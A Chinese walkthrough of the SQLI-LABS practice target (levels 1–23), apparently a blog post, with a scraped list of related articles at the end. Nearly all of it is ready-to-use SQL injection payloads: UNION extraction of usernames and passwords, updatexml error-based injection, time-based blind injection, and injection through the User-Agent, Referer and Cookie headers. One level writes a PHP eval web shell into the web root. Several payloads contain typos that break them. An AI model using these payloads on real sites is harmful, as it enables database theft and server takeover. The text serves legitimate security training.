SQLI-LABS复现通关
sql-lab 复现通关(深入学习)

less-1 基于错误的单引号字符串
- 正常访问
127.0.0.1/?id=1
- 添加 '
返回报错信息:You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to
use near ''1'' LIMIT 0,1' at line 1
- 使用 1' order by 3 --+
得到列数为3
- 使用union 获取admin和password
**-1 的作用是查询不存在的值,使得结果为空**
-1 ' union select 1,2,3 // 确定可以显示到页面的位置
-1 ' union select 1,2,group_concat(schema_name) from information_schema.schemata // 得到数据库名 或 通过database() 获取数据库名
-1 ' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema = 'security' --+
-1 ' union select 1,2,group_concat(column_name) from information_schema.columns where table_name = 'users' --+
-1 ' union select 1,2,group_concat(username,0x23,password)from users --+
less-2 GET整型注入
-1 union select 1,2,group_concat(password) from users --+
lesss -3 单引号注入
注入语句:select a,b from table where id = ('our input contents')
?id=-1') or 1=1 --+
?id=-1') or 1=2 --+
以上两条判断存在注入
?id=-1') union select 1,2,database() --+ 获得数据库
?id=-1') union select 1,2,group_concat(table_name) from information_schema.tables where table_schema = database() --+ 得表
?id=-1') union select 1,2,group_concat(column_name) from infromation_schema.columns where table_name = 'users' --+ 得字段
?id=-1') union select 1,2,group_concat(password) from referers --+ 得内容
less-4 双引号注入报错
单引号没报错 双引号报错
$sql="SELECT * FROM users WHERE id=($id) LIMIT 0,1"; 数据库查询语句

?id=1") and 1=1 --+
?id=1") and 1=2 --+ 确定报错点
?id=1") order by 3 --+ ?id=1") order by 4 --+ 确定字段数
?id=1") union select 1,2,group_concat (password) from users --+ 获取内容
less-5 双查询注入
正确为you are in 错误不显示
select 内嵌 select 为双查询
127.0.0.1/sqli/Less-5/?id=1' and left((select database()),2) = 'se' --+
127.0.0.1/sqli/Less-5/?id=1' and ascii(substr((select schema_name from information_schema.schemata limit 1,1),1,1)) >10 --+
less-6 盲注:
select schema_name form information_schema.schemata;

select schema_name from information_schema.schemata limit 1,1;

select substr((select schema_name from information_schema.schemata limit 1,1),1,1);

select ascii(substr((select schema_name from information_schema.schemata limit 1,1),1,1));

less-7
linux的nginx一般是/usr/local/nginx/html /home/wwwroot/default /user/share/nginx /var/www/html
上传,菜刀链接
Less-2/?id=-1 union select 1,@@basedir,@@datadir --+ 看地址
?id=1')) union select 1,2,'<?php @eval($_POST["cmd"]);?>' into outfile
less-8
?id=1' and if (lenth(database()) = 8,1,sleep(5)) --+ #基于时间的注入
?id=1' and if (ascii(substr((select database(),1,1)) >110,1,sleep(5)) --+
less-9
less-10
SQL注入1(GET型字符型注入):
?id=1 和 ?id=2 回显不同,说明不存在数字型注入
?id=2' 页面无回显 ?id=2'# 重新回显,说明存在字符型注入
?id=-2' union select 1,2,3 #
?id=-2' union select 1,2,database() #
?id=-2' union select 1,group_concat(table_name),from information_schema.tables where table_schema=database() #
?id=-2' union select 1,group_concat(column_name),from infromation_schema.columns where table_name = 'fl4gs' #
?id=-2' union select 1,flllllg,1 from flag
SQL注入2:(POST型name注入)
name = dudu' 报错 you have an error in your syntax
name = test' and updatexml(1,concat(0x7e,(select 1)),1) #& pass=xxxx
name = test' and updatexml(1,concat(0x7e,(select(1)from dual)),1)#&pass=xxxx
name = test' and updatexml(1,concat(0x7e,(selselectect(1) from dual)),1)#&pass=xxxx
web injection
?id=2-1

?id=-1 union select 1,group_concat(table_name) from information_schema.tables where table_schema = database()
?id=-1 union select 1,group_concat(column_name) from information_schema.columns where table = 'flag'

?id=-1 union select 1,flag from flag

less 11-20
'
')
'))
"
")
")) 六种情况, or 1=1 条件永远为真 将语句成功闭合后,1=1显示登陆成功
查库:select schema_name from information_schema.schemata
查表:select table_name from information_schema.tables where table_schema = database() 'security'
查列: select column_name from information_schema.columns where tabel_name = 'users'
查字段: select username,password from security.users
-1' union select 1,schema_name from information_schema.schemata --+
-1' union select 1,group_concat(table_name) from information_schema.tables where table_schema = database() --+
-1' union select 1,group_concat(column_name) from information_schema.columns where table_name = 'users' --+
-1' union select 1,group_concat(concat_ws('~',username,password)) from security.users --+
less 1 GET less 11 POST
less-12
与11不同,换位")
-1") union select 1,database() --+
-1 ") union select 1,group_concat(schema_name ) from information_schema.schemata --+
-1 ") union select 1,group_concat(table_name ) from information_schema.tables where table_schema = database()
-1 ") union select 1,group_concat(column_name ) from information_schema.columns where table_name = 0x7573657273
-1 ") union select 1,group_concat(concat_ws(0x7e,username,password)) from security.users --+
less-13
盲注
length(database())
-1') or if(length(database())>1,1,sleep(5)) --+
-1 ') or left(database(),1)='s' --+
-1') or left((select schema_name from information_schema.schemata limit 0,1),1) = 's' --+ Burte forcer改包放包破解
less-14
-1" or length(database()) --+
less-15
' 闭合 同13,14
less-16
13 ('-1') 14 "-1" 15 '-1' 16 ("admin")
less-17
-1' or updatexml(1,concat(0x7e,(构造语句)),1) --+
-1' or updatexml(1,concat(0x7e,(database())),1) --+
-1' or updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema = 'security')),1) --+
less-18
useragent注入
' or updatexml(1,concat(0x7e,()),1) --+
' or updatexml(1,concat(0x7e,(database())),1) or '1' ='1 两种方法可以闭合
' or updatexml(1,concat(0x7e,(database())),1),' ',' ')# 两种方法均可以闭合
依次替换database()
查库:select schema_name from information_schema.schemata
查表:select table_name from information_schema.tables where table_schema = database() 'security'
查列: select column_name from information_schema.columns where tabel_name = 'users'
查字段: select username,password from security.users
less-19
refer头注入,和18关一样
' or updatexml(1,concat(0x7e,(database())),1) or '1' ='1 两种方法可以闭合
' or updatexml(1,concat(0x7e,(database())),1),' ')# 可以闭合
less-20
Cookie: uname= -1' union select 1,2,database()# 依次替换database()
-1' union select 1,2,group_concat(schema_name ) from information_schema.schemata#
-1' union select 1,2,group_concat(table_name ) from information_schema.tables where table_schema = database()#
-1' union select 1,2,group_concat(column_name ) from information_schema.columns where table_name = 0x7573657273#
-1 ' union select 1,2,group_concat(concat_ws(0x7e,username,password)) from security.users #
less-21
base64加码注入
uname=
admin base64加码后为这个值YWRtaW4=
uname=-1') union select 1,2,database() #
XFF注入 : x - Forward - For 简称XFF头,代表客户端的真实ip。此处可以进行注入
less-22
uname处
" union select 1,2,databse() #
less-23

preg_repalce() 函数执行一个正则表达式的搜索和替换,搜索subject中匹配pattern的部分,以replacement进行替换。
如果subject是一个数组,preg_replace返回一个数组,其他情况返回一个字符串
匹配被找到,替换后的subject被返回,其他情况返回没有改变的subject,发生错误返回null。
在此关,将# 和 --替换为了空字符。
多了单引号,将第二个多的单引号闭合。
?id=1' union select 1,2,3 or '1' ='1
这里的or '1' ='1' 是作为column_3的操作符,因为永真,所在column_3会显示1,所以不能在3注入。

?id=1' union select 1,database(),3 or '1' ='1 依次进行替换
sqli靶场结束,若全部掌握,也算是注入有了一点点的基础了解。
SQLI-LABS复现通关的更多相关文章
- SQLI LABS Basic Part(1-22) WriteUp
好久没有专门练SQL注入了,正好刷一遍SQLI LABS,复习巩固一波~ 环境: phpStudy(之前一直用自己搭的AMP,下了这个之后才发现这个更方便,可以切换不同版本的PHP,没装的小伙伴赶紧试 ...
- Sqli labs系列-less-3 。。。
原本想着找个搜索型的注入玩玩,毕竟昨天被实力嘲讽了 = = . 找了好长时间,我才发现,我没有 = = ,网上搜了一个存在搜索型注入的源码,我看了好长时间,楞没看出来从哪里搜索注入了....估计是我太 ...
- Sqli labs系列-less-2 详细篇
就今天晚上一个小插曲,瞬间感觉我被嘲讽了. SQL手工注入这个东西,杂说了吧,如果你好久不玩的话,一时说开了,你也只能讲个大概,有时候,长期不写写,你的构造语句还非常容易忘,要不我杂会被瞬间嘲讽了啊. ...
- Sqli labs系列-less-1 详细篇
要说 SQL 注入学习,网上众多的靶场,就属 Sqli labs 这个系列挺不错的,关卡达到60多关了,我自己也就打了不几关,一个挺不错的练习SQL注入的源码. 我一开始就准备等我一些原理篇总结完了, ...
- SQL注入系列:SQLi Labs
前言 关于注释 说明:在SQL中--[空格]表示注释,但是在URL中--空格在发送请求的时候会把最后的空格去掉,所以用--+代替,因为+在被URL编码后会变成空格 MYSQL有三种常用注释: --[空 ...
- Sqli - Labs 靶场笔记(一)
Less - 1: 页面: URL: http://127.0.0.1/sqli-labs-master/Less-1/ 测试: 1.回显正常,说明不是数字型注入, http://127.0.0.1/ ...
- SQLI LABS Challenges Part(54-65) WriteUp
终于到了最后一部分,这些关跟之前不同的是这里是限制次数的. less-54: 这题比较好玩,10次之内爆出数据.先试试是什么类型: ?id=1' and '1 ==>>正常 ?id=1' ...
- SQLI LABS Stacked Part(38-53) WriteUp
这里是堆叠注入部分 less-38: 这题啥过滤都没有,直接上: ?id=100' union select 1,2,'3 less-39: 同less-38: ?id=100 union selec ...
- SQLI LABS Advanced Part(23-37) WriteUp
继续继续!这里是高级部分! less-23: 提示输入id参数,尝试: ?id=1' and '1 返回的结果与?id=1相同,所以可以直接利用了. ?id=1' order by 5# 可是页面返回 ...
随机推荐
- xlwt:python的写excel模块
最近工作时碰到了将数据导出,生成一个excel表,对其中的部分数据进行统计,并给其中部分符合条件的数据添加对应的背景颜色的功能需求,于是乎,对Python中写excel的模块xlwt研究了一下,在工作 ...
- JDK下载与安装
Java有很多个版本,最新的版本会兼容之前的. 先附上下载地址:https://www.oracle.com/technetwork/java/javase/downloads/jdk8-downlo ...
- gitbook 安装和使用
gitbook 安装和使用 安装nodejs wget https://nodejs.org/dist/v10.22.0/node-v10.22.0-linux-arm64.tar.xz tar - ...
- vue第十七单元(电商项目逻辑处理,电商划分)
第十七单元(电商项目逻辑处理,电商划分) #课程目标 1.什么是电商项目 2.什么是B2B,B2C,C2C模式,常见的电商项目 3.移动端电商项目常见的逻辑处理 4.[知识扩展]传统系统架构及分布式系 ...
- jmeter流媒体在线播放HLS插件BlazeMeter - HLS Plugin实现视频在线播放压测
一.前提 近日因工作需要,需对视频在线播放功能进行压测,视频播放使用的是HLS协议,传输内容包括两部分,一是用来控制播放的m3u8文件,二是TS媒体文件.(HLS协议和m3u8详解可参考此链接:htt ...
- 【mybatis-plus】CRUD必备良药,mybatis的好搭档
做开发,免不了对数据进行增删改查,那么mybatis-plus我觉得很适合我这个java新手,简单好用. 官网在这 一.什么是mybatis-plus MyBatis-Plus(简称 MP),是一个M ...
- 【命令】pstree命令
这个命令简单没有什么说的,语法格式: pstree [-a] [-c] [-h|-Hpid] [-l] [-n] [-p] [-u] [-Z] [-A|-G|-U] [pid|user] pstree ...
- 【程序包管理】篇章3:CentOS平台下软件包安装方法总结
1.软件包安装前的学习:程序包管理的基础知识 2.程序包安装的方法介绍: rpm文件的二进制包安装:Linux程序包管理之rpm安装总结 yum安装:Linux程序包管理之yum源安装 链接:本地yu ...
- Linq基础知识
开发人员不需要关心将要访问的是关系数据库还是XML数据,或是远程对象,它都采用同样的访问方式. Linq包含一系列的查询技术,其中Linq到对象是对内存进行操作,LINQ到SQL是对数据库的操作,LI ...
- Java equals方法学习
通过某个特征值来判断两个对象是否"等价",当这两个对象等价时,判断结果为true,否则结果为false. Object类(Java的"对象世界"的根)中实现的e ...